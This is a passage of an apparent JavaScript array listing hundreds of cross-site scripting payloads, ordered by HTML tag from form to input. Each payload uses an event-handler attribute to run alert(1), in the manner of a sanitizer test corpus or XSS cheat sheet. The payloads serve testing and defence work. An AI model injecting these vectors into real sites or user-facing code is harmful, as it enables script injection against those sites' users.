  String.raw`<form onkeydown="alert(1)" contenteditable>test</form>`,
  String.raw`<form onkeypress="alert(1)" contenteditable>test</form>`,
  String.raw`<form onkeyup="alert(1)" contenteditable>test</form>`,
  String.raw`<form onmousedown="alert(1)">test</form>`,
  String.raw`<form onmouseenter="alert(1)">test</form>`,
  String.raw`<form onmouseleave="alert(1)">test</form>`,
  String.raw`<form onmousemove="alert(1)">test</form>`,
  String.raw`<form onmouseout="alert(1)">test</form>`,
  String.raw`<form onmouseover="alert(1)">test</form>`,
  String.raw`<form onmouseup="alert(1)">test</form>`,
  String.raw`<form onpaste="alert(1)" contenteditable>test</form>`,
  String.raw`<form onreset=alert(1)><input type=reset>`,
  String.raw`<form onsubmit=alert(1)><input type=submit>`,
  String.raw`<form><input oninvalid=alert(1) required><input type=submit>`,
  String.raw`<form><input type=search onsearch=alert(1) value="Hit return" autofocus>`,
  String.raw`<form><textarea oninvalid=alert(1) required><input type=submit>`,
  String.raw`<frame draggable="true" ondrag="alert(1)">test</frame>`,
  String.raw`<frame draggable="true" ondragend="alert(1)">test</frame>`,
  String.raw`<frame draggable="true" ondragenter="alert(1)">test</frame>`,
  String.raw`<frame draggable="true" ondragleave="alert(1)">test</frame>`,
  String.raw`<frame draggable="true" ondragstart="alert(1)">test</frame>`,
  String.raw`<frame id=x tabindex=1 onactivate=alert(1)></frame>`,
  String.raw`<frame id=x tabindex=1 onbeforeactivate=alert(1)></frame>`,
  String.raw`<frame id=x tabindex=1 onbeforedeactivate=alert(1)></frame><input autofocus>`,
  String.raw`<frame id=x tabindex=1 ondeactivate=alert(1)></frame><input id=y autofocus>`,
  String.raw`<frame onbeforecopy="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onbeforecut="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onbeforepaste="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onblur=alert(1) tabindex=1 id=x></frame><input autofocus>`,
  String.raw`<frame onclick="alert(1)">test</frame>`,
  String.raw`<frame oncontextmenu="alert(1)">test</frame>`,
  String.raw`<frame oncopy="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame oncut="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame ondblclick="alert(1)">test</frame>`,
  String.raw`<frame onfocusout=alert(1) tabindex=1 id=x></frame><input autofocus>`,
  String.raw`<frame onkeydown="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onkeypress="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onkeyup="alert(1)" contenteditable>test</frame>`,
  String.raw`<frame onmousedown="alert(1)">test</frame>`,
  String.raw`<frame onmouseenter="alert(1)">test</frame>`,
  String.raw`<frame onmouseleave="alert(1)">test</frame>`,
  String.raw`<frame onmousemove="alert(1)">test</frame>`,
  String.raw`<frame onmouseout="alert(1)">test</frame>`,
  String.raw`<frame onmouseover="alert(1)">test</frame>`,
  String.raw`<frame onmouseup="alert(1)">test</frame>`,
  String.raw`<frame onpaste="alert(1)" contenteditable>test</frame>`,
  String.raw`<frameset draggable="true" ondrag="alert(1)">test</frameset>`,
  String.raw`<frameset draggable="true" ondragend="alert(1)">test</frameset>`,
  String.raw`<frameset draggable="true" ondragenter="alert(1)">test</frameset>`,
  String.raw`<frameset draggable="true" ondragleave="alert(1)">test</frameset>`,
  String.raw`<frameset draggable="true" ondragstart="alert(1)">test</frameset>`,
  String.raw`<frameset id=x tabindex=1 onactivate=alert(1)></frameset>`,
  String.raw`<frameset id=x tabindex=1 onbeforeactivate=alert(1)></frameset>`,
  String.raw`<frameset id=x tabindex=1 onbeforedeactivate=alert(1)></frameset><input autofocus>`,
  String.raw`<frameset id=x tabindex=1 ondeactivate=alert(1)></frameset><input id=y autofocus>`,
  String.raw`<frameset id=x tabindex=1 onfocus=alert(1)></frameset>`,
  String.raw`<frameset id=x tabindex=1 onfocusin=alert(1)></frameset>`,
  String.raw`<frameset onbeforecopy="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onbeforecut="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onbeforepaste="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onblur=alert(1) tabindex=1 id=x></frameset><input autofocus>`,
  String.raw`<frameset onclick="alert(1)">test</frameset>`,
  String.raw`<frameset oncontextmenu="alert(1)">test</frameset>`,
  String.raw`<frameset oncopy="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset oncut="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset ondblclick="alert(1)">test</frameset>`,
  String.raw`<frameset onfocusout=alert(1) tabindex=1 id=x></frameset><input autofocus>`,
  String.raw`<frameset onkeydown="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onkeypress="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onkeyup="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset onmousedown="alert(1)">test</frameset>`,
  String.raw`<frameset onmouseenter="alert(1)">test</frameset>`,
  String.raw`<frameset onmouseleave="alert(1)">test</frameset>`,
  String.raw`<frameset onmousemove="alert(1)">test</frameset>`,
  String.raw`<frameset onmouseout="alert(1)">test</frameset>`,
  String.raw`<frameset onmouseover="alert(1)">test</frameset>`,
  String.raw`<frameset onmouseup="alert(1)">test</frameset>`,
  String.raw`<frameset onpageshow=alert(1)>`,
  String.raw`<frameset onpaste="alert(1)" contenteditable>test</frameset>`,
  String.raw`<frameset><frame id=x onfocus=alert(1)>`,
  String.raw`<frameset><frame id=x onfocusin=alert(1)>`,
  String.raw`<frameset><frame onload=alert(1)>`,
  String.raw`<h1 draggable="true" ondrag="alert(1)">test</h1>`,
  String.raw`<h1 draggable="true" ondragend="alert(1)">test</h1>`,
  String.raw`<h1 draggable="true" ondragenter="alert(1)">test</h1>`,
  String.raw`<h1 draggable="true" ondragleave="alert(1)">test</h1>`,
  String.raw`<h1 draggable="true" ondragstart="alert(1)">test</h1>`,
  String.raw`<h1 id=x tabindex=1 onactivate=alert(1)></h1>`,
  String.raw`<h1 id=x tabindex=1 onbeforeactivate=alert(1)></h1>`,
  String.raw`<h1 id=x tabindex=1 onbeforedeactivate=alert(1)></h1><input autofocus>`,
  String.raw`<h1 id=x tabindex=1 ondeactivate=alert(1)></h1><input id=y autofocus>`,
  String.raw`<h1 id=x tabindex=1 onfocus=alert(1)></h1>`,
  String.raw`<h1 id=x tabindex=1 onfocusin=alert(1)></h1>`,
  String.raw`<h1 onbeforecopy="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onbeforecut="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onbeforepaste="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onblur=alert(1) tabindex=1 id=x></h1><input autofocus>`,
  String.raw`<h1 onclick="alert(1)">test</h1>`,
  String.raw`<h1 oncontextmenu="alert(1)">test</h1>`,
  String.raw`<h1 oncopy="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 oncut="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 ondblclick="alert(1)">test</h1>`,
  String.raw`<h1 onfocusout=alert(1) tabindex=1 id=x></h1><input autofocus>`,
  String.raw`<h1 onkeydown="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onkeypress="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onkeyup="alert(1)" contenteditable>test</h1>`,
  String.raw`<h1 onmousedown="alert(1)">test</h1>`,
  String.raw`<h1 onmouseenter="alert(1)">test</h1>`,
  String.raw`<h1 onmouseleave="alert(1)">test</h1>`,
  String.raw`<h1 onmousemove="alert(1)">test</h1>`,
  String.raw`<h1 onmouseout="alert(1)">test</h1>`,
  String.raw`<h1 onmouseover="alert(1)">test</h1>`,
  String.raw`<h1 onmouseup="alert(1)">test</h1>`,
  String.raw`<h1 onpaste="alert(1)" contenteditable>test</h1>`,
  String.raw`<head draggable="true" ondrag="alert(1)">test</head>`,
  String.raw`<head draggable="true" ondragend="alert(1)">test</head>`,
  String.raw`<head draggable="true" ondragenter="alert(1)">test</head>`,
  String.raw`<head draggable="true" ondragleave="alert(1)">test</head>`,
  String.raw`<head draggable="true" ondragstart="alert(1)">test</head>`,
  String.raw`<head id=x tabindex=1 onactivate=alert(1)></head>`,
  String.raw`<head id=x tabindex=1 onbeforeactivate=alert(1)></head>`,
  String.raw`<head id=x tabindex=1 onbeforedeactivate=alert(1)></head><input autofocus>`,
  String.raw`<head id=x tabindex=1 ondeactivate=alert(1)></head><input id=y autofocus>`,
  String.raw`<head id=x tabindex=1 onfocus=alert(1)></head>`,
  String.raw`<head id=x tabindex=1 onfocusin=alert(1)></head>`,
  String.raw`<head onbeforecopy="alert(1)" contenteditable>test</head>`,
  String.raw`<head onbeforecut="alert(1)" contenteditable>test</head>`,
  String.raw`<head onbeforepaste="alert(1)" contenteditable>test</head>`,
  String.raw`<head onblur=alert(1) tabindex=1 id=x></head><input autofocus>`,
  String.raw`<head onclick="alert(1)">test</head>`,
  String.raw`<head oncontextmenu="alert(1)">test</head>`,
  String.raw`<head oncopy="alert(1)" contenteditable>test</head>`,
  String.raw`<head oncut="alert(1)" contenteditable>test</head>`,
  String.raw`<head ondblclick="alert(1)">test</head>`,
  String.raw`<head onfocusout=alert(1) tabindex=1 id=x></head><input autofocus>`,
  String.raw`<head onkeydown="alert(1)" contenteditable>test</head>`,
  String.raw`<head onkeypress="alert(1)" contenteditable>test</head>`,
  String.raw`<head onkeyup="alert(1)" contenteditable>test</head>`,
  String.raw`<head onmousedown="alert(1)">test</head>`,
  String.raw`<head onmouseenter="alert(1)">test</head>`,
  String.raw`<head onmouseleave="alert(1)">test</head>`,
  String.raw`<head onmousemove="alert(1)">test</head>`,
  String.raw`<head onmouseout="alert(1)">test</head>`,
  String.raw`<head onmouseover="alert(1)">test</head>`,
  String.raw`<head onmouseup="alert(1)">test</head>`,
  String.raw`<head onpaste="alert(1)" contenteditable>test</head>`,
  String.raw`<header draggable="true" ondrag="alert(1)">test</header>`,
  String.raw`<header draggable="true" ondragend="alert(1)">test</header>`,
  String.raw`<header draggable="true" ondragenter="alert(1)">test</header>`,
  String.raw`<header draggable="true" ondragleave="alert(1)">test</header>`,
  String.raw`<header draggable="true" ondragstart="alert(1)">test</header>`,
  String.raw`<header id=x tabindex=1 onactivate=alert(1)></header>`,
  String.raw`<header id=x tabindex=1 onbeforeactivate=alert(1)></header>`,
  String.raw`<header id=x tabindex=1 onbeforedeactivate=alert(1)></header><input autofocus>`,
  String.raw`<header id=x tabindex=1 ondeactivate=alert(1)></header><input id=y autofocus>`,
  String.raw`<header id=x tabindex=1 onfocus=alert(1)></header>`,
  String.raw`<header id=x tabindex=1 onfocusin=alert(1)></header>`,
  String.raw`<header onbeforecopy="alert(1)" contenteditable>test</header>`,
  String.raw`<header onbeforecut="alert(1)" contenteditable>test</header>`,
  String.raw`<header onbeforepaste="alert(1)" contenteditable>test</header>`,
  String.raw`<header onblur=alert(1) tabindex=1 id=x></header><input autofocus>`,
  String.raw`<header onclick="alert(1)">test</header>`,
  String.raw`<header oncontextmenu="alert(1)">test</header>`,
  String.raw`<header oncopy="alert(1)" contenteditable>test</header>`,
  String.raw`<header oncut="alert(1)" contenteditable>test</header>`,
  String.raw`<header ondblclick="alert(1)">test</header>`,
  String.raw`<header onfocusout=alert(1) tabindex=1 id=x></header><input autofocus>`,
  String.raw`<header onkeydown="alert(1)" contenteditable>test</header>`,
  String.raw`<header onkeypress="alert(1)" contenteditable>test</header>`,
  String.raw`<header onkeyup="alert(1)" contenteditable>test</header>`,
  String.raw`<header onmousedown="alert(1)">test</header>`,
  String.raw`<header onmouseenter="alert(1)">test</header>`,
  String.raw`<header onmouseleave="alert(1)">test</header>`,
  String.raw`<header onmousemove="alert(1)">test</header>`,
  String.raw`<header onmouseout="alert(1)">test</header>`,
  String.raw`<header onmouseover="alert(1)">test</header>`,
  String.raw`<header onmouseup="alert(1)">test</header>`,
  String.raw`<header onpaste="alert(1)" contenteditable>test</header>`,
  String.raw`<hgroup draggable="true" ondrag="alert(1)">test</hgroup>`,
  String.raw`<hgroup draggable="true" ondragend="alert(1)">test</hgroup>`,
  String.raw`<hgroup draggable="true" ondragenter="alert(1)">test</hgroup>`,
  String.raw`<hgroup draggable="true" ondragleave="alert(1)">test</hgroup>`,
  String.raw`<hgroup draggable="true" ondragstart="alert(1)">test</hgroup>`,
  String.raw`<hgroup id=x tabindex=1 onactivate=alert(1)></hgroup>`,
  String.raw`<hgroup id=x tabindex=1 onbeforeactivate=alert(1)></hgroup>`,
  String.raw`<hgroup id=x tabindex=1 onbeforedeactivate=alert(1)></hgroup><input autofocus>`,
  String.raw`<hgroup id=x tabindex=1 ondeactivate=alert(1)></hgroup><input id=y autofocus>`,
  String.raw`<hgroup id=x tabindex=1 onfocus=alert(1)></hgroup>`,
  String.raw`<hgroup id=x tabindex=1 onfocusin=alert(1)></hgroup>`,
  String.raw`<hgroup onbeforecopy="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onbeforecut="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onbeforepaste="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onblur=alert(1) tabindex=1 id=x></hgroup><input autofocus>`,
  String.raw`<hgroup onclick="alert(1)">test</hgroup>`,
  String.raw`<hgroup oncontextmenu="alert(1)">test</hgroup>`,
  String.raw`<hgroup oncopy="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup oncut="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup ondblclick="alert(1)">test</hgroup>`,
  String.raw`<hgroup onfocusout=alert(1) tabindex=1 id=x></hgroup><input autofocus>`,
  String.raw`<hgroup onkeydown="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onkeypress="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onkeyup="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hgroup onmousedown="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmouseenter="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmouseleave="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmousemove="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmouseout="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmouseover="alert(1)">test</hgroup>`,
  String.raw`<hgroup onmouseup="alert(1)">test</hgroup>`,
  String.raw`<hgroup onpaste="alert(1)" contenteditable>test</hgroup>`,
  String.raw`<hr draggable="true" ondrag="alert(1)">test</hr>`,
  String.raw`<hr draggable="true" ondragend="alert(1)">test</hr>`,
  String.raw`<hr draggable="true" ondragenter="alert(1)">test</hr>`,
  String.raw`<hr draggable="true" ondragleave="alert(1)">test</hr>`,
  String.raw`<hr draggable="true" ondragstart="alert(1)">test</hr>`,
  String.raw`<hr id=x tabindex=1 onactivate=alert(1)></hr>`,
  String.raw`<hr id=x tabindex=1 onbeforeactivate=alert(1)></hr>`,
  String.raw`<hr id=x tabindex=1 onbeforedeactivate=alert(1)></hr><input autofocus>`,
  String.raw`<hr id=x tabindex=1 ondeactivate=alert(1)></hr><input id=y autofocus>`,
  String.raw`<hr id=x tabindex=1 onfocus=alert(1)></hr>`,
  String.raw`<hr id=x tabindex=1 onfocusin=alert(1)></hr>`,
  String.raw`<hr onbeforecopy="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onbeforecut="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onbeforepaste="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onblur=alert(1) tabindex=1 id=x></hr><input autofocus>`,
  String.raw`<hr onclick="alert(1)">test</hr>`,
  String.raw`<hr oncontextmenu="alert(1)">test</hr>`,
  String.raw`<hr oncopy="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr oncut="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr ondblclick="alert(1)">test</hr>`,
  String.raw`<hr onfocusout=alert(1) tabindex=1 id=x></hr><input autofocus>`,
  String.raw`<hr onkeydown="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onkeypress="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onkeyup="alert(1)" contenteditable>test</hr>`,
  String.raw`<hr onmousedown="alert(1)">test</hr>`,
  String.raw`<hr onmouseenter="alert(1)">test</hr>`,
  String.raw`<hr onmouseleave="alert(1)">test</hr>`,
  String.raw`<hr onmousemove="alert(1)">test</hr>`,
  String.raw`<hr onmouseout="alert(1)">test</hr>`,
  String.raw`<hr onmouseover="alert(1)">test</hr>`,
  String.raw`<hr onmouseup="alert(1)">test</hr>`,
  String.raw`<hr onpaste="alert(1)" contenteditable>test</hr>`,
  String.raw`<html draggable="true" ondrag="alert(1)">test</html>`,
  String.raw`<html draggable="true" ondragend="alert(1)">test</html>`,
  String.raw`<html draggable="true" ondragenter="alert(1)">test</html>`,
  String.raw`<html draggable="true" ondragleave="alert(1)">test</html>`,
  String.raw`<html draggable="true" ondragstart="alert(1)">test</html>`,
  String.raw`<html id=x tabindex=1 onactivate=alert(1)></html>`,
  String.raw`<html id=x tabindex=1 onbeforeactivate=alert(1)></html>`,
  String.raw`<html id=x tabindex=1 onbeforedeactivate=alert(1)></html><input autofocus>`,
  String.raw`<html id=x tabindex=1 ondeactivate=alert(1)></html><input id=y autofocus>`,
  String.raw`<html id=x tabindex=1 onfocus=alert(1)></html>`,
  String.raw`<html id=x tabindex=1 onfocusin=alert(1)></html>`,
  String.raw`<html onbeforecopy="alert(1)" contenteditable>test</html>`,
  String.raw`<html onbeforecut="alert(1)" contenteditable>test</html>`,
  String.raw`<html onbeforepaste="alert(1)" contenteditable>test</html>`,
  String.raw`<html onblur=alert(1) tabindex=1 id=x></html><input autofocus>`,
  String.raw`<html onclick="alert(1)">test</html>`,
  String.raw`<html oncontextmenu="alert(1)">test</html>`,
  String.raw`<html oncopy="alert(1)" contenteditable>test</html>`,
  String.raw`<html oncut="alert(1)" contenteditable>test</html>`,
  String.raw`<html ondblclick="alert(1)">test</html>`,
  String.raw`<html onfocusout=alert(1) tabindex=1 id=x></html><input autofocus>`,
  String.raw`<html onkeydown="alert(1)" contenteditable>test</html>`,
  String.raw`<html onkeypress="alert(1)" contenteditable>test</html>`,
  String.raw`<html onkeyup="alert(1)" contenteditable>test</html>`,
  String.raw`<html onmousedown="alert(1)">test</html>`,
  String.raw`<html onmouseenter="alert(1)">test</html>`,
  String.raw`<html onmouseleave="alert(1)">test</html>`,
  String.raw`<html onmousemove="alert(1)">test</html>`,
  String.raw`<html onmouseout="alert(1)">test</html>`,
  String.raw`<html onmouseover="alert(1)">test</html>`,
  String.raw`<html onmouseup="alert(1)">test</html>`,
  String.raw`<html onpaste="alert(1)" contenteditable>test</html>`,
  String.raw`<i draggable="true" ondrag="alert(1)">test</i>`,
  String.raw`<i draggable="true" ondragend="alert(1)">test</i>`,
  String.raw`<i draggable="true" ondragenter="alert(1)">test</i>`,
  String.raw`<i draggable="true" ondragleave="alert(1)">test</i>`,
  String.raw`<i draggable="true" ondragstart="alert(1)">test</i>`,
  String.raw`<i id=x tabindex=1 onactivate=alert(1)></i>`,
  String.raw`<i id=x tabindex=1 onbeforeactivate=alert(1)></i>`,
  String.raw`<i id=x tabindex=1 onbeforedeactivate=alert(1)></i><input autofocus>`,
  String.raw`<i id=x tabindex=1 ondeactivate=alert(1)></i><input id=y autofocus>`,
  String.raw`<i id=x tabindex=1 onfocus=alert(1)></i>`,
  String.raw`<i id=x tabindex=1 onfocusin=alert(1)></i>`,
  String.raw`<i onbeforecopy="alert(1)" contenteditable>test</i>`,
  String.raw`<i onbeforecut="alert(1)" contenteditable>test</i>`,
  String.raw`<i onbeforepaste="alert(1)" contenteditable>test</i>`,
  String.raw`<i onblur=alert(1) tabindex=1 id=x></i><input autofocus>`,
  String.raw`<i onclick="alert(1)">test</i>`,
  String.raw`<i oncontextmenu="alert(1)">test</i>`,
  String.raw`<i oncopy="alert(1)" contenteditable>test</i>`,
  String.raw`<i oncut="alert(1)" contenteditable>test</i>`,
  String.raw`<i ondblclick="alert(1)">test</i>`,
  String.raw`<i onfocusout=alert(1) tabindex=1 id=x></i><input autofocus>`,
  String.raw`<i onkeydown="alert(1)" contenteditable>test</i>`,
  String.raw`<i onkeypress="alert(1)" contenteditable>test</i>`,
  String.raw`<i onkeyup="alert(1)" contenteditable>test</i>`,
  String.raw`<i onmousedown="alert(1)">test</i>`,
  String.raw`<i onmouseenter="alert(1)">test</i>`,
  String.raw`<i onmouseleave="alert(1)">test</i>`,
  String.raw`<i onmousemove="alert(1)">test</i>`,
  String.raw`<i onmouseout="alert(1)">test</i>`,
  String.raw`<i onmouseover="alert(1)">test</i>`,
  String.raw`<i onmouseup="alert(1)">test</i>`,
  String.raw`<i onpaste="alert(1)" contenteditable>test</i>`,
  String.raw`<iframe draggable="true" ondrag="alert(1)">test</iframe>`,
  String.raw`<iframe draggable="true" ondragend="alert(1)">test</iframe>`,
  String.raw`<iframe draggable="true" ondragenter="alert(1)">test</iframe>`,
  String.raw`<iframe draggable="true" ondragleave="alert(1)">test</iframe>`,
  String.raw`<iframe draggable="true" ondragstart="alert(1)">test</iframe>`,
  String.raw`<iframe id=x onfocus=alert(1)>`,
  String.raw`<iframe id=x onfocusin=alert(1)>`,
  String.raw`<iframe id=x tabindex=1 onactivate=alert(1)></iframe>`,
  String.raw`<iframe id=x tabindex=1 onbeforeactivate=alert(1)></iframe>`,
  String.raw`<iframe id=x tabindex=1 onbeforedeactivate=alert(1)></iframe><input autofocus>`,
  String.raw`<iframe id=x tabindex=1 ondeactivate=alert(1)></iframe><input id=y autofocus>`,
  String.raw`<iframe onbeforecopy="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onbeforecut="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onbeforepaste="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onblur=alert(1) id=x><input autofocus>`,
  String.raw`<iframe onclick="alert(1)">test</iframe>`,
  String.raw`<iframe oncontextmenu="alert(1)">test</iframe>`,
  String.raw`<iframe oncopy="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe oncut="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe ondblclick="alert(1)">test</iframe>`,
  String.raw`<iframe onfocusout=alert(1) id=x><input autofocus>`,
  String.raw`<iframe onkeydown="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onkeypress="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onkeyup="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onload=alert(1)></iframe>`,
  String.raw`<iframe onmousedown="alert(1)">test</iframe>`,
  String.raw`<iframe onmouseenter="alert(1)">test</iframe>`,
  String.raw`<iframe onmouseleave="alert(1)">test</iframe>`,
  String.raw`<iframe onmousemove="alert(1)">test</iframe>`,
  String.raw`<iframe onmouseout="alert(1)">test</iframe>`,
  String.raw`<iframe onmouseover="alert(1)">test</iframe>`,
  String.raw`<iframe onmouseup="alert(1)">test</iframe>`,
  String.raw`<iframe onpaste="alert(1)" contenteditable>test</iframe>`,
  String.raw`<iframe onreadystatechange=alert(1)></iframe>`,
  String.raw`<image draggable="true" ondrag="alert(1)">test</image>`,
  String.raw`<image draggable="true" ondragend="alert(1)">test</image>`,
  String.raw`<image draggable="true" ondragenter="alert(1)">test</image>`,
  String.raw`<image draggable="true" ondragleave="alert(1)">test</image>`,
  String.raw`<image draggable="true" ondragstart="alert(1)">test</image>`,
  String.raw`<image id=x tabindex=1 onactivate=alert(1)></image>`,
  String.raw`<image id=x tabindex=1 onbeforeactivate=alert(1)></image>`,
  String.raw`<image id=x tabindex=1 onbeforedeactivate=alert(1)></image><input autofocus>`,
  String.raw`<image id=x tabindex=1 ondeactivate=alert(1)></image><input id=y autofocus>`,
  String.raw`<image id=x tabindex=1 onfocus=alert(1)></image>`,
  String.raw`<image id=x tabindex=1 onfocusin=alert(1)></image>`,
  String.raw`<image onbeforecopy="alert(1)" contenteditable>test</image>`,
  String.raw`<image onbeforecut="alert(1)" contenteditable>test</image>`,
  String.raw`<image onbeforepaste="alert(1)" contenteditable>test</image>`,
  String.raw`<image onblur=alert(1) tabindex=1 id=x></image><input autofocus>`,
  String.raw`<image onclick="alert(1)">test</image>`,
  String.raw`<image oncontextmenu="alert(1)">test</image>`,
  String.raw`<image oncopy="alert(1)" contenteditable>test</image>`,
  String.raw`<image oncut="alert(1)" contenteditable>test</image>`,
  String.raw`<image ondblclick="alert(1)">test</image>`,
  String.raw`<image onfocusout=alert(1) tabindex=1 id=x></image><input autofocus>`,
  String.raw`<image onkeydown="alert(1)" contenteditable>test</image>`,
  String.raw`<image onkeypress="alert(1)" contenteditable>test</image>`,
  String.raw`<image onkeyup="alert(1)" contenteditable>test</image>`,
  String.raw`<image onmousedown="alert(1)">test</image>`,
  String.raw`<image onmouseenter="alert(1)">test</image>`,
  String.raw`<image onmouseleave="alert(1)">test</image>`,
  String.raw`<image onmousemove="alert(1)">test</image>`,
  String.raw`<image onmouseout="alert(1)">test</image>`,
  String.raw`<image onmouseover="alert(1)">test</image>`,
  String.raw`<image onmouseup="alert(1)">test</image>`,
  String.raw`<image onpaste="alert(1)" contenteditable>test</image>`,
  String.raw`<image src/onerror=alert(1)>`,
  String.raw`<image src=validimage.png onload=alert(1)>`,
  String.raw`<image src=validimage.png onloadend=alert(1)>`,
  String.raw`<image src=validimage.png onloadstart=alert(1)>`,
  String.raw`<image srcset=1 onerror=alert(1)>`,
  String.raw`<img draggable="true" ondrag="alert(1)">test</img>`,
  String.raw`<img draggable="true" ondragend="alert(1)">test</img>`,
  String.raw`<img draggable="true" ondragenter="alert(1)">test</img>`,
  String.raw`<img draggable="true" ondragleave="alert(1)">test</img>`,
  String.raw`<img draggable="true" ondragstart="alert(1)">test</img>`,
  String.raw`<img id=x tabindex=1 onactivate=alert(1)></img>`,
  String.raw`<img id=x tabindex=1 onbeforeactivate=alert(1)></img>`,
  String.raw`<img id=x tabindex=1 onbeforedeactivate=alert(1)></img><input autofocus>`,
  String.raw`<img id=x tabindex=1 ondeactivate=alert(1)></img><input id=y autofocus>`,
  String.raw`<img id=x tabindex=1 onfocus=alert(1)></img>`,
  String.raw`<img id=x tabindex=1 onfocusin=alert(1)></img>`,
  String.raw`<img onbeforecopy="alert(1)" contenteditable>test</img>`,
  String.raw`<img onbeforecut="alert(1)" contenteditable>test</img>`,
  String.raw`<img onbeforepaste="alert(1)" contenteditable>test</img>`,
  String.raw`<img onblur=alert(1) tabindex=1 id=x></img><input autofocus>`,
  String.raw`<img onclick="alert(1)">test</img>`,
  String.raw`<img oncontextmenu="alert(1)">test</img>`,
  String.raw`<img oncopy="alert(1)" contenteditable>test</img>`,
  String.raw`<img oncut="alert(1)" contenteditable>test</img>`,
  String.raw`<img ondblclick="alert(1)">test</img>`,
  String.raw`<img onfocusout=alert(1) tabindex=1 id=x></img><input autofocus>`,
  String.raw`<img onkeydown="alert(1)" contenteditable>test</img>`,
  String.raw`<img onkeypress="alert(1)" contenteditable>test</img>`,
  String.raw`<img onkeyup="alert(1)" contenteditable>test</img>`,
  String.raw`<img onmousedown="alert(1)">test</img>`,
  String.raw`<img onmouseenter="alert(1)">test</img>`,
  String.raw`<img onmouseleave="alert(1)">test</img>`,
  String.raw`<img onmousemove="alert(1)">test</img>`,
  String.raw`<img onmouseout="alert(1)">test</img>`,
  String.raw`<img onmouseover="alert(1)">test</img>`,
  String.raw`<img onmouseup="alert(1)">test</img>`,
  String.raw`<img onpaste="alert(1)" contenteditable>test</img>`,
  String.raw`<img src/onerror=alert(1)>`,
  String.raw`<img src=validimage.png onload=alert(1)>`,
  String.raw`<img src=validimage.png onloadend=alert(1)>`,
  String.raw`<img src=validimage.png onloadstart=alert(1)>`,
  String.raw`<img srcset=1 onerror=alert(1)>`,
  String.raw`<img srcset=validimage.png onload=alert(1)>`,
  String.raw`<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>`,
  String.raw`<img usemap=#x><map name="x"><area href onfocusin=alert(1) id=x>`,
  String.raw`<input autofocus onfocus=alert(1)>`,
  String.raw`<input autofocus onfocusin=alert(1)>`,
  String.raw`<input draggable="true" ondrag="alert(1)">test</input>`,
  String.raw`<input draggable="true" ondragend="alert(1)">test</input>`,
  String.raw`<input draggable="true" ondragenter="alert(1)">test</input>`,
  String.raw`<input draggable="true" ondragleave="alert(1)">test</input>`,
  String.raw`<input draggable="true" ondragstart="alert(1)">test</input>`,
  String.raw`<input id=x onfocus=alert(1)>`,
  String.raw`<input id=x onfocusin=alert(1)>`,
  String.raw`<input id=x tabindex=1 onactivate=alert(1)></input>`,
  String.raw`<input id=x tabindex=1 onbeforeactivate=alert(1)></input>`,
  String.raw`<input id=x tabindex=1 onbeforedeactivate=alert(1)></input><input autofocus>`,
  String.raw`<input id=x tabindex=1 ondeactivate=alert(1)></input><input id=y autofocus>`,
  String.raw`<input onauxclick=alert(1)>`,
  String.raw`<input onbeforecopy=alert(1) value="XSS" autofocus>`,
  String.raw`<input onbeforecut=alert(1) value="XSS" autofocus>`,
  String.raw`<input onbeforepaste=alert(1) value="" autofocus>`,
  String.raw`<input onblur=alert(1) id=x><input autofocus>`,
  String.raw`<input onchange=alert(1) value=xss>`,
  String.raw`<input onclick="alert(1)">test</input>`,
  String.raw`<input oncontextmenu="alert(1)">test</input>`,
  String.raw`<input oncopy=alert(1) value="XSS" autofocus>`,
  String.raw`<input oncut=alert(1) value="XSS" autofocus>`,
  String.raw`<input ondblclick="alert(1)">test</input>`,
  String.raw`<input onfocusout=alert(1) id=x><input autofocus>`,
  String.raw`<input oninput=alert(1) value=xss>`,
  String.raw`<input onkeydown="alert(1)" contenteditable>test</input>`,
  String.raw`<input onkeypress="alert(1)" contenteditable>test</input>`,
